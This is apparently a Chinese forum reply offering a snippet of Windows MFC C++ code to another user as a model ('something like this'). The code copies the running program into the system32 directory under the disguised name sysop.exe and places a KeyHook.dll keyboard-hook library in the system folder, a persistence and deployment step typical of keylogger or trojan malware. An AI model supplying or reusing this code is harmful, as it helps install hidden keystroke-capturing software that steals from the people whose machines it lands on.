这样的,给你一段我的类似代码……
GetModuleFileName(NULL,str,MAX_LEN);
m_filename.SetWindowText(str);
CopyFile(str,"c:\\winnt\\system32\\sysop.exe",NULL);    //复制到系统目录,重命名 strtmp=str;
strleft=strtmp.Left(strtmp.GetLength()-9);
strleft=strleft+"KeyHook.dll";
CopyFile(strleft,"c:\\winnt\\system\\KeyHook.dll",NULL); TRACE("文件的当前目录: %s\n",strleft);
应该差不多的……